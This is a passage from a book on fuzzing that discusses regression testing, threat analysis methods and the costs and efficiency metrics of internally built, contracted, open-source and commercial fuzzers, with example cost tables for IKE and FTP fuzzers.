to integrate a suite of test cases to prevent variants of that flaw. Therefore, regression tests should avoid any fixed, nondeterministic values (magic values). A bad security-related example would be regression testing for a buffer overflow with one fixed length. A flaw that was initially triggered with a string of 200 characters might later re-emerge as a variant that is triggered with 201 characters. Modification of the tests should also not result in missed bugs in the most recent release of the software. Regression tests should be constantly updated to catch newly found issues. Flaws in the regression database give a good overview of past mistakes, and it is very valuable information for developers and other testers. The regression database should be constantly reviewed and analyzed from the learning perspec- tive. A bug database can reveal valuable information about critical flaws and their potential security consequences. This, in itself, is a metric of the quality of various products. 3.10 Summary In this chapter, we have given an overview of testing approaches that could be use- ful to you when integrating security testing into a standard quality assurance proc- ess. Both quality assurance and testing are traditionally feature-oriented approaches, in which the purpose is to validate that the software works according to the speci- fications. Security is an abstract term that means different things to different peo- ple. Security has been seen as an add-on by software development. The main difference to testing is that security testing does not aim to prove that the software is secure but to break software by whatever means available. Various testing approaches are used at different phases of the software devel- opment life cycle. White-box testing can benefit from the availability of the source code. Black-box testing, on the other hand, relies on the external interfaces in the testing. Gray-box testing is a combination of these approaches. Testing also has 96 Quality Assurance and Testing different purposes. Conformance testing validates the functionality, whereas per- formance testing tries to find the performance limitations by testing the software with extreme loads. Various other testing approaches, such as interoperability test- ing and regression testing, aim at proving that the software is able to work with other industry products and that no previously known flaws are reintroduced to the software. Testing has to be measurable, and quality assurance practices have used various means of validating the quality of the tests themselves. Specification coverage com- pares the test efficiency to the specifications that were used to build the tests. Input space coverage looks at the potential inputs that can be given to the software and measures the coverage of the tests against those. Interface coverage is a black-box specific metric that looks at the communication interfaces and the efficiency of tests to cover them. Finally, code coverage metrics analyze the software and indicate which parts of the code were touched by the tests. We concluded the chapter by reviewing the black-box techniques for security testing. Load testing prepares the QA organization for load-based attacks such as DDoS attacks. Stress testing looks at the internal threats related to, for example, low memory resources on embedded devices. Security scanners are not really proac- tive, but are a requirement when you integrate your own system with other off-the- shelf systems and platforms. For example, a flaw left into the operating system will make all good QA practices void if left undetected. Unit testing is the first place to introduce fuzzing by testing the smallest components of the software through the available interfaces. Input fault injection, on the other hand, is already one of the related technologies to fuzzing, almost a synonym. Syntax testing is a technique used to test formal interfaces such as protocols, and negative testing approaches such as robustness testing extend those techniques to fuzzing. Finally, regression testing builds on top of earlier flaws, trying to prevent them from reappearing. 3.10 Summary 97 C H A P T E R 4 Fuzzing Metrics Fuzzing is not widely used in software development processes, but this will change as people begin to understand its importance. Fuzzing can easily discover critical security mistakes, such as buffer overflows, before a product is even launched. The problem in widespread adoption lies in the resistance to change—i.e., people in- volved in building the development practices have not yet recognized the need to adapt security-related tools in their development process. But there are a number of other reasons. Many software developers do not think they have security bugs, or they think one solution such as a code auditing tool will fix all their security prob- lems. One reason for that can also be that they do not know about fuzzers and how to effectively use them. Also, they could have had bad experiences with difficult-to- use fuzzers that did not find any flaws after testing. How can the software devel- opment processes for communication software be changed so that fuzzing will become an essential part of them? Fuzzing tools are a critical addition when build- ing any kind of software, especially if reliability and security are seen to be impor- tant in the end product. The purpose of this chapter is to look at why fuzzing is important and how this can be explained to your management. One obstacle in introducing fuzzers to your developers could be that most gen- erally available fuzzing tools are developed by security people for security people, and hence are hard to use by people who are not security experts. At the very least, they were not designed with easy inclusion into an SDLC as a goal. Fortunately, more and more companies are seeing that proactive security is at its best when inte- grated to the development process. You cannot test security into a product; it has to be built in. This sets new requirements for fuzzing tools in how they integrate with existing development processes. Fuzzer developers need to focus on how they could improve the available fuzzing tools in such a way that the industry would also adapt them into their development practices. But, there are other open questions related to integrating fuzzing with develop- ment. Where should fuzzing be used in the software engineering process? Who should be responsible for fuzzing? Is it the developers, the testers, or the people con- ducting final security checks during acceptance testing? Or is it possible that every- one should have his or her own set of complementary fuzzing tools? The developers of various fuzzing tools are sometimes distracted from the development goals that the software vendors may have. Security people are more interested in finding yet-another-buffer-overflow in yet-another-software-product and publishing its details to acquire individual fame and recognition or to trade the bug in a private sale. Mostly, this is done to promote the sales of their own services or tools. In fact, to the researchers in the security community, manufacturers are either adversaries or they are the life blood of their work. Some researchers need the 99 publicity, and the easiest way to gain publicity is to publish the security flaws and credit the various fuzzing tools for their discovery. And we have to agree that with- out all that publicity, fuzzing would not be where it is now. Some researchers have criminal intents and are only interested in collecting zero-day flaws, either to use them or to sell them. It might not even be in the security researchers’ interests to fix the flaws, as it would make the findings useless. Both of these approaches have their down side. Publishing security bugs in widely used products will tarnish the repu- tation of that vendor. Hiding all the tools and findings will definitely hold back development in fuzzing, and at the same time this will damage the software indus- try in the long run. The first milestone we need to reach is to change the industry so that it under- stands the importance of fuzzing. For the time being, let us assume that the security community is on our side to teach us its insights on how to improve the quality assurance processes. Understanding how things work in software development projects and various enterprise security assessments is essential for improving prod- uct security in general. We need the help of the security research community on this, as security is the key driver here. You cannot motivate the industry through techni- cal terms alone, although test automation and various metrics in test coverage have been driving this forward for us during the past few years. It is paramount that we understand why security problems are allowed to pass through undetected in the current processes. Understanding the failures in the processes is essential for im- proving the general security of communication products. Most important, we need to focus on fixing the broken processes, rather than just looking and pointing out the failures. Fuzzing tools have a few main usages aside from security research. For the secu- rity community, searching for new avenues in fuzzer development, such as new fuzzing techniques, test execution monitoring frameworks, attractive target proto- cols, and critical applications, is the most rewarding task, especially if they can pub- lish those findings and gain fame for being outstanding security researchers. If used correctly and by the right people, fuzzing tools are not just hacking tools. There are so many uses for fuzzer tools that we are currently just scratching the surface on how the tools can be improved to suit all potential testing needs. The more users for fuzzers out there and the more recognition this technique will gain. Already today, software developers use both free and commercial fuzzing tools for proactive secu- rity testing (“fuzzing before product launch”), and the enterprise end users use the same fuzzing products as part of their procurement practices in the form of third party auditing (“fuzzing before purchase”).1 These are probably the most common usage scenarios, but fuzzing is still not a publicly recognized tool in either of these processes. Most tools still need to decide which user base they are actually focusing on. The needs of the quality assurance community are different from the needs of the security people. Still, both the developers of fuzzers and the users of fuzzers could learn from past projects on how and where different organizations have implemented fuzzing into their development cycles. 100 Fuzzing Metrics 1Gadi Evron. Fuzzing in the Corporate World. Presentation at 23rd Chaos Communication Con- gress (2006). http://events.ccc.de/congress/2006/Fahrplan/events/1758.en.html What do we know so far? We know that software manufacturers and enter- prise customers use both commercial and also internally built home-grown fuzzing tools. Also, for a very long time, different fuzzing techniques have been used in the hacker community in one form or another. If the security personnel of an enterprise include people with a “hacker mentality,” they will most probably adapt these same tools into their work. Whether or not the used tools are built internally by the corporate security people has had very little impact on the success of past fuzzing projects. Most of these tools have been home-grown fuzzers, and probably unmain- tained one-off projects. But since 2001, when the first publicly available fuzzing tools appeared,2 more and more fuzzing has been conducted using industry stan- dard tools. These commercial test tool vendors started preaching new ideas to the industry to create enough pull in the market to support continuous research. As a result of this push, fuzzers are now more often utilized in the development life cycle. They are no longer used only by the security community, and the techniques are no longer secret skills of few people. One reason why this security push into the devel- opment process has been so successful is that many security-aware companies have noticed that fuzzers are in use by their adversaries. They see security problems being announced by hackers on public forums and media. Vendors and manufacturers need to find the vulnerabilities before hackers find them, so why not do it with the same tools? This resulted in the first companies publishing details on their cam- paigns on introducing fuzzing before product release.3 We have also seen some large telecommunications service providers and carriers demand that all supplied prod- ucts be certified through fuzzing, or at least tested with particular fuzzing products that they recommend for use by their suppliers. To enable the adoption of fuzzing into the product development life cycle, we need to move the usage scenario from vulnerability or security analysis into earlier phases, into the standard quality assurance processes. First, we need to understand how these processes differ. The major difference between vulnerability analysis (VA)4 and quality assurance (QA) is in the attitude of the testers and in the purpose of the tests. The practices of vulnerability analysis are more targeted toward defect discov- ery, especially when compared to the verification and validation aspects of tradi- tional quality assurance. The goal or purpose of vulnerability analysis is to study the completed product for vulnerabilities, using whatever means available. Methods are typically reactive in nature, i.e., they are based on knowledge of known mis- takes and problems and in reiteration of those attacks in new scenarios. Unfortu- nately, the attitude of vulnerability analysis is not to conduct a thorough systematic test, but to assess a subset of the product and draw conclusions based on those find- ings. VA never tries to claim that the product is 100% tested and fault-free. The Fuzzing Metrics 101 2At least the following commercial companies had some soft of fuzzing tools available in early 2002: Codenomicon, Cenzic, eEye, Rapid7, InterWorkingLabs, and SimpleSoft. 3Ari Takanen and Damir Rajnovic. Robustness Testing to Proactively Remove Security Flaws with a Cisco Case Study. SV-SPIN Seminar. October 26, 2005. www.svspin.org/Events/2005/ event20051026.htm 4Vulnerability assessment is also known as security testing, security assessment, security research- ing, bug hunting, or even hacking. metrics related to VA are subjective in nature. The quality of the tests in VA is based on the skills, tools, and knowledge base of the people conducting the security analy- sis. VA processes are difficult to define, and the results are difficult to measure. VA will sometimes use tools such as reverse engineering and source-code auditing, as these techniques can potentially find vulnerabilities that black-box techniques are not capable of finding. Fuzzing as part of vulnerability analysis can be a true black-box technique, meaning no source code is needed in the process. Security problems are analyzed after the product is complete, and the people conducting the assessment are typi- cally not involved in the development and testing phases of the software development. The design documents and source code are usually not available in a vulnerability analysis process. The system under test (SUT) can truly sometimes be a black box to the security auditor, a device with no methods of instrumenting or monitoring the internal operation of the device under test (DUT). Security auditors study the software from a third-party perspective. This tiger-team approach5 used in vulner- ability analysis is similar to the practices used in the military. A team of security experts (a red team) will masquerade as a hostile party and try to infiltrate the secu- rity of the system with the same tools and techniques real hackers would use. A study of the vulnerabilities can be done with or without knowing anything about the internals of the system. Access to source code may improve the results, i.e., enable the auditors to discover more vulnerabilities, but at the same time this can compromise the results, as the findings might be different from what real adver- saries would likely find. In summary, fuzzing as part of VA does not try to verify or validate a system, but rather attempts to find defects. The goal is to uncover as many vulnerabilities in the system as possible within a given time frame and to provide a metric of the security of the system, a security assurance level. On the other hand, the goal of quality assurance is to follow a standard process built around the system requirements and to validate that those requirements are met in the product. This verification and validation (V&V) aspect of quality assur- ance has driven testing into the feature-and-performance-oriented approach that most people identify it with. Testing in most cases is no longer aiming to find most flaws in the product, but to validate a predefined criterion for acceptance or con- formance to a set of requirements. Testing experts such as Boris Beizer have, since at least 1990,6 been proposing that testers should look back and shift their focus from rote verification and vali- dation toward true discovery of flaws. Similar to VA, the purpose of testing should also be to find defects, not to rubber stamp a release. Fortunately, fuzzing as a secu- rity testing technique has emerged to teach this to us the hard way. Any negligence in finding security flaws is unacceptable, and therefore the need for security has the potential to change the behavior of testers in QA processes. 102 Fuzzing Metrics 5M. Laakso, A. Takanen, J. Röning. “The Vulnerability Process: A Tiger Team Approach to Resolving Vulnerability Cases.” In Proceedings of the 11th FIRST Conference on Computer Secu- rity Incident Handling and Response. Brisbane, Australia. June 13–18, 1999. 6Boris Beizer. (1990). Software Testing Techniques, 2nd ed. International Thomson Computer Press. Security research is still immature compared to the legacy of research in the fields of software development and testing. Security researchers should try to learn from the experiences of computer science. This is especially true in the areas of met- rics. In the rest of this chapter we will study metrics and techniques drawn from both security assessment and quality assurance, but our focus is in analyzing them from the fuzzing perspective. One of the goals in this book is to propose some rec- ommendations on how vulnerability assessments could be integrated to quality assurance to enable the discovery of vulnerabilities earlier in the software life cycle. 4.1 Threat Analysis and Risk-Based Testing To effectively introduce fuzzing into vulnerability analysis processes or quality assurance processes, we need to conduct a careful threat analysis that studies the related threats, vulnerabilities (or exposures), and the assets that need protecting. Threat analysis is often identified with security assessment practices, but for our purpose it is also very similar to the risk assessment process used in risk-based test- ing. For quality assurance people, fuzzing is just one additional risk-based testing technique. For security personnel, fuzzing is just one of the available tools available for eliminating security-related flaws from software. For both, all available options need to be carefully analyzed to make a decision whether to invest time and resources in fuzzing and how to apply fuzzing to the development process. Threat analysis often starts from identifying the security requirements for a sys- tem. A simple division of security requirements could stem from the well-known set of security goals, namely 1. Confidentiality; 2. Integrity; 3. Availability. These and other security goals can be specified in a security policy for a spe- cific network service or for an individual product. The same requirements can also be studied from a quality perspective. For each security requirement, we can then analyze 1. Threat agents and events; 2. Available attacks that these threat agents can execute to realize an event; 3. Potential weaknesses, vulnerabilities, or flaws that these attacks would exploit. The components of threat analysis mentioned above are assumptions—i.e., all threats, attacks, and vulnerabilities would be impossible to enumerate. But even a subset of the reality can already provide some level of assurance about the future probability of an incident against the security goals. Well-defined security goals or security policies can immediately eliminate some security considerations. For exam- ple, if confidentiality is a nonissue for a specific product, this will immediately elim- inate the need for further threat analysis of attacks and vulnerabilities related to 4.1 Threat Analysis and Risk-Based Testing 103 confidentiality. On the other hand, if availability is of the highest importance, then it is obvious that denial-of-service-related attacks are extremely relevant to the application at hand. Threat analysis often just takes an existing risk analysis further and makes the results more applicable to product development. We will not study the methods for enumerating risks, but study threat analysis independently from any possible risk assessment. If a list of threats is already available, it can be used as a starting point, or it can be used later in the process to verify that all risks were covered with a sec- ond parallel process. There are many possible methodologies that can be used to perform threat analysis. The most common techniques are 1. Threat tree analysis; 2. Threat database search; 3. Ad-hoc threat identification. 4.1.1 Threat Trees Threat tree analysis is similar to a fault tree used in hardware engineering. It is based on a method in which risks are decomposed and charted into a decision tree.7 Threat trees are widely used in risk management and reliability engineering. The problem with threat trees is that you need to be a security expert to build and to use them. Building a threat tree involves identifying a complete set of threats on a high level, and then introducing more details on how each threat could be realized and what weaknesses need to be present for the threat to be present. The tree view comes from the analysis technique. The root of the tree is the highest abstraction level and defines the threat against a specific asset. Each subsequent abstraction layer refines the threat, providing more information, becoming a root of a more detailed subtree. Finally, leaf nodes will provide adequate information for countermeasures to eliminate the threat. Identifying the root causes for the threats often requires security knowledge, and therefore a threat tree might not be feasible for the design- ers of the software to build with an adequate level of detail. The threat tree method is usually the most effective approach if the security problem and its surrounding environment are both well defined and understood by the person conducting the threat analysis. In the context of fuzzing, the problem with threat trees is that although they help in designing a good piece of software, they do not necessarily help you at all in building your fuzzer. To some, fuzzing is just an additional countermeasure in a threat tree. But turning the threat tree upside-down, we will immediately see that fuzzing will not guarantee that it will eliminate all risks where it is listed as a countermeasure. We are not saying that threat trees are useless for fuzzing—on the contrary! Threat trees help you under- stand the risks involved with the application at hand and will help you choose the 104 Fuzzing Metrics 7Edward Amoroso. (1994). Fundamentals of Computer Security Technology. Upper Saddle River, NJ: Prentice Hall. right fuzzers for testing a specific application. But fuzzing is not a silver bullet that will resolve all threats in your analysis. 4.1.2 Threat Databases Threats in various domains tend to be quite similar, and therefore an existing threat analysis built for a particular system can be reapplied to other systems in the same domain. Studies of threats in various domains are available to be used as databases for threat analysis. The benefit is that the person building the threat analysis can easily analyze whether that threat will apply to the design of this software, without a deep understanding of the security domain. The disadvantage is that a threat that is unique to the application being built might be missing from the database, and therefore, be left out of the analysis. Also, the threat descriptions could be too abstract to be usable without further understanding on how that threat is realized in the real world. An example of a bad threat definition is “denial of service threat,” some- thing you commonly see in threat analysis documents. Almost any attack can potentially result in the system crashing or becoming nonresponsive, and binding the DoS threat to one single failure or flaw can distract attention from other causes of DoS. Therefore, it is possible that the threat analysis could potentially miss the most significant weaknesses in the system. The level of detail for each threat in such a database is critical. Simple search of threats from an existing database, or enumer- ation of a list of common threats, may suggest the applicable threats more effi- ciently than methodological threat tree analysis, especially when the problem is defined in general terms applicable to that domain or when the final user environ- ment is not limited when building that specific component. This applies especially to software developers who do not have knowledge of the actual environments in which their products will be used. As an example, let us examine the overview of the threat taxonomy built and maintained by the VoIP Security Alliance (VOIPSA), depicted in Figure 4.1.8 By analyzing these threats, we can see that fuzzing would apply to the following threat categories: Interception and Modification • Message Alteration (Modification) Denial of Service • VoIP Specific DoS: Request Flooding, Malformed Requests and Messages, Spoofed Messages • Network Services DoS • OS/Firmware DoS And this list is not even complete, as fuzzing can find many other threats that are not enumerated in the VOIPSA threat listing. 4.1 Threat Analysis and Risk-Based Testing 105 8VoIP Security Threat Taxonomy by VoIP Security Alliance (VOIPSA). www.voipsa.com/Activities/ taxonomy.php 4.1.3 Ad-Hoc Threat Analysis Ad-hoc threat analysis is a well-suited practice when the goal is to find one weak- ness in a very short period of time during an assessment. An experienced security analyst can immediately recognize potential threats in a system, but for a developer it can be very challenging to think about the application from the perspective of an attacker. For fuzzing, a simple method for ad-hoc threat analysis might be based on listing the available interfaces in a system to enumerate the attack surface. For example, Dmitry Chan conducted a UDP port scan against Motorola Q mobile phone, with the following results:9 106 Fuzzing Metrics Figure 4.1 VOIPSA threat listing for VoIP. 9http://blogs.securiteam.com/index.php/archives/853 42/udp open|filtered nameserver 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 135/udp open|filtered msrpc 136/udp open|filtered profile 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 139/udp open|filtered netbios-ssn 445/udp open|filtered microsoft-ds 520/udp open|filtered route 1034/udp open|filtered activesync-notify 1434/udp open|filtered ms-sql-m 2948/udp open|filtered wap-push You should note that the result above does not indicate anything about the real network services implemented in the phone and definitely will have a number of false positives (i.e., services that are not implemented) and false negatives (i.e., miss- ing some of the implemented services). Still, a security analyst working for the man- ufacturer can easily narrow down this list to the truly open services and conduct a detailed threat analysis based on those results. Note that a port scan is not a full threat analysis method, but merely a tool that can be used as a starting point in identifying the attack vectors for further analysis of the potential threats in a sys- tem. It is typically the first technique a security analyst will conduct when starting a technical security audit. Different threat analysis techniques are useful at different phases. Whereas our example for the threat analysis of a complete product only applies to later phases of the product life cycle, the other discussed techniques such as threat tree analysis target earlier phases, when the product is not yet ready for practical analysis. 4.2 Transition to Proactive Security A software product life cycle can be considered starting from the requirements col- lection phase of software development, and ending when the last installation of the software is retired from use. The software development life cycle is a subset of the product life cycle. Although various software development models are in use, the waterfall model can be applied to generalize these phases. After launch, the released software enters a number of update and maintenance cycles, until it finally is retired or replaced by a subsequent version of the software. A simplified product life cycle consists of the following phases: Pre-Deployment (development): • Requirements and Design • Implementation • Development Testing • Acceptance Testing 4.2 Transition to Proactive Security 107 Post-Deployment (maintenance): • Integration testing • System maintenance • Update process and regression testing • Retirement Whereas quality assurance aims at improving and measuring the quality of the system proactively during the software development, the practices in vulnerability assessment focus on the discovery of (security) critical flaws in the launched prod- ucts. The difference traditionally is only with the test purpose and in the time of test related to the software life cycle. Vulnerability assessment provides an assur- ance metric by thoroughly testing a subset of the system and extrapolating the find- ings to the whole system. Fuzzing is useful in both approaches. Fuzzing should start as early in the product life cycle as possible. Early discov- ery, and the elimination of the found defects, has clear observable cost-benefits. The time of the discovery of security flaws is especially critical, because security flaws discovered after the product launch have significant costs compared to other defects in software. Companies found to have many post-deployment security bugs can also gain a bad reputation for lack of security. The purpose of fuzzing in general is to find security defects. The standard met- rics of IT operations for up-time, system recovery, and change control can be used for related security incidents.10 Excluding indirect costs such as brand value and reputation, the direct costs related to software vulnerabilities can be divided in at least the following categories: 1. Cost of discovery of the defects through internal or external audits; 2. Cost of remediation of the flaw in product development and regression testing; 3. Cost of security compromises and down-time, or in some cases direct dam- age to the failing systems; 4. Cost of patch deployment and other change control related tasks to the cus- tomer systems if already deployed. 4.2.1 Cost of Discovery Security defects need to be discovered before they can be fixed. The costs related to the discovery of the flaws depend on the used resources and methodologies. Secu- rity defects are found in all phases of the software lifecycle, from development until retirement, and different methods are used in the discovery. The four basic fuzzing-related methods for defect discovery are • Bug bounty hunters; • Subcontracted security assessments; 108 Fuzzing Metrics 10Andrew Jaquith. (2007). Security Metrics: Replacing Fear, Uncertainty, and Doubt (pp. 68–73). Boston: Addison-Wesley. • Internally built fuzzers; • Commercial fuzzing tools. The costs associated with the discovery of the flaws are different in these four methods. A bug bounty hunter can ask for a fixed amount per found defect, whereas a subcontracted security consultant typically invoices for the spent hours, or per predefined security assessment project. Internally built testing tools involve development, use, and maintenance-related costs. Third-party software (free or com- mercial) involves potential initial investment, usage costs (affected by the ease-of- use of the products), and future maintenance costs. We will ignore the costs related to actually fixing the flaws for now and focus on the cost of discovery. You can try to predict the cost of defect discovery with three simple metrics, whether third parties or internal people perform the fuzzing process: • Time it takes to conduct the tests; • Number of tests required for adequate test coverage; • Mean probability of discovering a failure per each test. The resulting metric from the necessary testing time, number of tests, and the probability of failure of discovery would indicate the forecasted cost (and after the project the true cost) per failure. Note that this is different from the cost per bug, as each failure needs to be verified to be an individual defect in the software during the repair process. It is important to separate these, because the actual bugs in soft- ware can be difficult to enumerate while tests are being conducted. Adding more test automation (such as fuzzing) and processing capabilities will reduce the test execution time. For a security test bed, you could use a server farm full of virtual or true computers with an image of the system under test. This can be used to drive the number of trials per hour as high as possible. In such a setup you need to consider costs related to setting up and maintaining the farm of test targets and the tools required to be certain that all the results are being correctly captured. Test execution time can depend on the fuzzer. Conducting one million tests with one tool can take less time than ten thousand tests with another slower tool. The defect discovery probability indicates the efficiency of the tests. This is really where the value comes from intelligence in fuzzing. Smart fuzzers bring enormous value to the testers if the selected tool finds 1,000 tests that crash the software and 200 tests that leak memory, and the additional 10 tests that take 10 times more process- ing power from the SUT, but the discovery of those failures only takes 10,000 tests. That would result in a 12.1% failure efficiency. On the other hand, a fuzzer based on random testing can conduct one million tests, with one thousand failures, resulting in 0.1% failure efficiency. However, also remember that just calculating the number of failures does not indicate the number of bugs responsible for those failures. There may only be 20 bugs in the system that can be discovered with fuzzing. These example cal- culations for failure and defect efficiency for two fuzzers are shown in Table 4.1. Let us next look at the costs related to the choice of tools for fuzzing. Whereas commercial tools can be immediately available and low-risk for the return of invest- ment from test efficiency perspective, these tools are sometimes ridiculously expensive 4.2 Transition to Proactive Security 109 compared to hiring someone as a contract programmer to develop your own fuzzer. If you decide to create your own one-off fuzzer tailored to your exact testing needs, the first decision you need to make is whether to build a smart or dumb fuzzer. As we’ll see later, it might make sense to build both. One could think that the obvious answer would be to create a fuzzer that is most likely to yield the most bugs of any type. Unfortunately, when we start a new fuzzing project, it will be very difficult to estimate the success rate proactively. In general, if a particular software product has never been fuzzed before, you will almost always find a significant number of bugs. But you might be interested in how many flaws you will find with different types of fuzzers and what type of investment is required. Before starting any do-it-yourself fuzzing projects, it is important to really ana- lyze the total cost for all choices. Commercial tools are easily analyzed based on standard practices in security investments, such as Return On Security Investment, or ROSI, calculations. Even if it is internally developed, it is still a security invest- ment. There are many aspects to consider: 1. Which approach finds most individual failures or flaws (or test efficiency): This is the actual return for the investment in fuzzing. Efficiency of the tests will be the final measure of how successful the project was, but unfortu- nately, that is very difficult to predict beforehand. Still, it would be easier if we could also give a dollar value to efficiency. But what is a “good enough” test result for the tool? How many defects were left in the product after the tests? This question is similar to asking “What is good enough anti-virus software?” You would not survive in the security tools market if your solu- tion only caught 50% of the issues compared to your competitor. 2. Cost to implement tools (or investment in the tools): This includes the costs from the work-time to develop the tool, often calculated in man-months. Note that the person developing the fuzzer might not be your average soft- ware developer, and his or her time might be taken from crucial security analysis tasks. Many fuzzer developers think this is a fun task and might jump into the task without considering the priority against other security assessment tasks. 3. Time to implement tools (typically zero, if a third-party tool is acquired): In addition to the actual costs related to development time, fuzzer develop- ment can influence the time it takes to test the product for release, and therefore delay the launch of the product. Fuzzing can be a part of the final 110 Fuzzing Metrics Table 4.1 Example Calculation of Failure and Defect Efficiencies Smart Fuzzer Random Fuzzer Number of tests 10,000 1,000,000 Test execution time 2 hours 20 hours Number of failures found with tests 1,210 1,210 Failure efficiency 12.1% 0.121% Failures per hour 605 60.5 Number of defects found with tests 20 20 Defect efficiency 0.2% 0.002% Defects per hour 10 1 approval gate for a software release, and therefore, the time it takes to develop testing tools will delay the release. The first three metrics represented development costs for the fuzzers themselves. The rest of the metrics should apply to both internally developed fuzzers, freely available open source fuzzing frameworks, and commercial fuzzing tools: 4. Time from availability to use (time used to test design and integration): When a fuzzer framework becomes available, it does not necessarily mean you can launch your testing activities immediately. Valuable time is often spent on integrating the tool into an existing testing framework or test bed. For some interfaces under test, a new tool can be launched immediately when it becomes available. For some interfaces you need to follow a process of collecting data, building fuzzing rules, and finally adding thor- ough instrumentation tools into your test bed. 5. Resources needed to test (required manpower to conduct tests): Finally, the tests are ready to be launched. Different fuzzing techniques have differ- ent needs for the necessary personnel to be present at execution time, and for the time it takes to conduct test analysis. 6. Time needed to test (again causes delays in the product/service launch): Different fuzzing techniques have varying test execution times. Some tests can be executed in a matter of hours, whereas other tests can take several weeks to run. 7. Other costs in test environment (HW + maintenance people for the test setup): The costs to test setup can be enormous, especially with fuzzing tools that have long test execution times. Commercial fuzzing appliances usually come bundled with all the necessary test equipment. For software- based solutions, you need to dedicate hardware resources for the test exe- cution. Maintenance personnel for the test facility are also dedicated costs, but can also be shared between different test setups. 8. Maintenance costs (is the testing one-off, or is it reusable and maintained): Finally, fuzzing is not usually a one-off testing process. Fuzzing is also a critical part of regression testing, and as such needs to be maintained for the distant future. A proprietary tool developed several years ago might be impossible to update, especially if the person who developed it is no longer available to do so. The maintainability of the tests and dedicated resources for keeping the fuzzing tools up to date are often the main point why peo- ple switch from internally built tools to commercial tools. There are benefits to each fuzzing approach, and the decision needs to be made based on your own value estimations. Most metrics can be measured in relation to financial investment. Some people value time more than others, so it would be sim- pler if one could give a dollar value also for time in the equation, for example, indi- cating how much a delay of one week in the launch of a product or service will cost the company. Finally, as already noted above, the equation ultimately comes down to test effi- ciency, time, and costs. For manufacturers, the test efficiency (in test results and test 4.2 Transition to Proactive Security 111 process) is often much more important than the direct costs. Although the value of fuzzing is an interesting topic, there are very few public metrics for the costs. It would be interesting to see how these metrics would apply to various fuzzing proj- ects that have already been completed. A quick analysis of the costs for deploying fuzzers for both IKE (Table 4.2) and FTP (Table 4.3) protocols is given here as an example. Whereas FTP is a very sim- ple text-based protocol, the IKE protocol is complex and developing a fuzzer for it requires significantly more time. The metrics used in these calculations were explained earlier in this section. The estimates for number of defects are based on our experience with contract development and on real results from comparing the freely available PROTOS ISAKMP/IKE fuzzer with tests conducted using the commercial Codenomicon ISAKMP/IKE robustness test suite against the same ISAKMP implementation. Cost for developing fuzzers within your own organization is generally lower than acquiring a contracted fuzzer, because time required for your own employees, especially for small fuzzing projects, can be shorter than contract time. The calcu- lations, of course, have to take into account all additional expenses such as employee benefits. The main problem with internally built tools is that finding and retaining the best security researchers is no easy task, and therefore the defect count can be estimated to be lower than for contracted work or commercial tools. We have used an estimate of $2,000 for labor costs, although security researchers can cost anything from $1,800 up to $4,000 a week. Contract employees often cost more, but generally work faster with larger projects, have more experience, and tend to have more expectations on them. They are easier to find and use temporar- ily than a qualified security tester. For our estimate, we have summed the contract hours into the cost of the tools. Contract work can cost from $3,000 per week up to $10,000 per week, or even more. Other investment consists of materials such as standard PC and the required software such as debuggers needed for test analysis. Calculations should include necessary office space for the test facility. For free open source tools this might be the only investment. 112 Fuzzing Metrics Table 4.2 Example Cost Calculation for IKE Fuzzers Internally Contractor Open Commercial Criteria (IKE fuzzer) Built Developed Source Product Individual flaws found (number) 1 5 4 8 Cost of tools 0 $40,000 0 $10,000 Resources to implement (weeks) 20 8 1 1 Time to implement (weeks) 20 8 2 1 Resources to test (weeks) 1 1 1 1 Time to test (weeks) 1 1 1 1 Other costs in test environment $10,000 $10,000 $10,000 $10,000 Maintenance/year $50,000 $10,000 $50,000 $10,000 Total time (weeks) 21 9 3 2 Total resources (weeks) 21 9 2 2 Cost per work-week $2,000 $2,000 $2,000 $2,000 Total cost $102,000 $78,000 $64,000 $34,000 Cost per defect $102,000 $15,600 $16,000 $4,250 There are pros and cons for all available choices, and the best option will de- pend on the complexity of the tested interfaces, the software that needs testing, and the availability of in-house expertise, among many other parameters. One of the main benefits of commercial tools comes from the maintenance. A commercial fuzzer tool vendor will ensure future development and updates for a fixed fee that is easy to forecast and is always lower than dedicated or contracted personnel. A contracted fuzzer can also be negotiated to come with a fixed maintenance fee. The main advantage of an in-house development is having complete control over the project and being able to customize the fuzzer for your specific product. The pricing of commercial tools can also be difficult to estimate without under- standing how the world of commercial fuzzers works. Whereas a subscription license to a web fuzzer can cost $17,000 a year, a complete protocol fuzzer for telecom- munication interfaces can cost hundreds of thousands of dollars. This (hopefully) depends on the costs that the fuzzer company needs to cover, and the business opportunity they see with that product. Development, testing, maintenance, sup- port, product training, and other related services do not come for free. Still, this is typically an area where commercial products rule, as they can cover the implemen- tation costs with a number of sales. A fuzzer that takes several dedicated people to develop and maintain can reach better test coverage at a fraction of the costs com- pared to contracted development. On the other hand, contract developers do not turn down requests just because they see only a small market opportunity for such a tool, meaning for very specialized or proprietary protocols, commercial fuzzers will not be a possibility. It would be interesting to compare the test results of the contract programmer with the test efficiency of other fuzzer products, but unfortu- nately these proprietary tools are not easily available for comparison. There are sev- eral examples in which a person who knows one particular test subject (or protocol) precisely can use that knowledge to build a more efficient fuzzer for that specific setup. But, on the other hand, commercial companies doing fuzzers day in and day out might have more experience and feedback from their customers to improve the tests as time goes on. Commercially available fuzzers have also usually been verified to work with as many implementations of the tested interface as possible, which Table 4.3 Example Cost Calculation for FTP Fuzzers Internally Contractor Open Commercial Criteria (FTP fuzzer) Built Developed Source Product Individual flaws found (number) 10 14 12 16 Cost of tools 0 $15,000 0 $10,000 Resources to implement (weeks) 9 3 1 1 Time to implement (weeks) 9 3 1 1 Resources to test (weeks) 1 1 1 1 Time to test (weeks) 1 1 1 1 Other costs in test environment $5,000 $5,000 $5,000 $5,000 Maintenance/year $20,000 $5,000 $10,000 $10,000 Total time (weeks) 10 4 2 2 Total resources (weeks) 10 4 2 2 Cost per work-week $2,000 $2,000 $2,000 $2,000 Total cost $45,000 $33,000 $19,000 $29,000 Cost per defect $4,500 $2,357 $1,583 $1,812 4.2 Transition to Proactive Security 113 indicates that they are more likely to work also against any new implementations. Nevertheless, forecasting the efficiency of a fuzzer is a very difficult task. In our comparison we have not made a significant difference in the test execu- tion times. Whereas tests conducted as part of a larger test process can easily take a week to execute without hurting the overall process, a fuzz test conducted as part of regression tests can almost never take more than 24 hours to execute. The requirements set for test automation depend on what you are looking for. How much time can you dedicate for the test execution? Where do you apply the tests in your SDLC? And what types of people do you have available? The purposes of test automation in general are to • Reduce time from test to fix; • Make testing repeatable; • Reduce expertise and human error. Commercial tools are typically built according to real test automation require- ments set by commercial customers, and therefore, commercial fuzzers 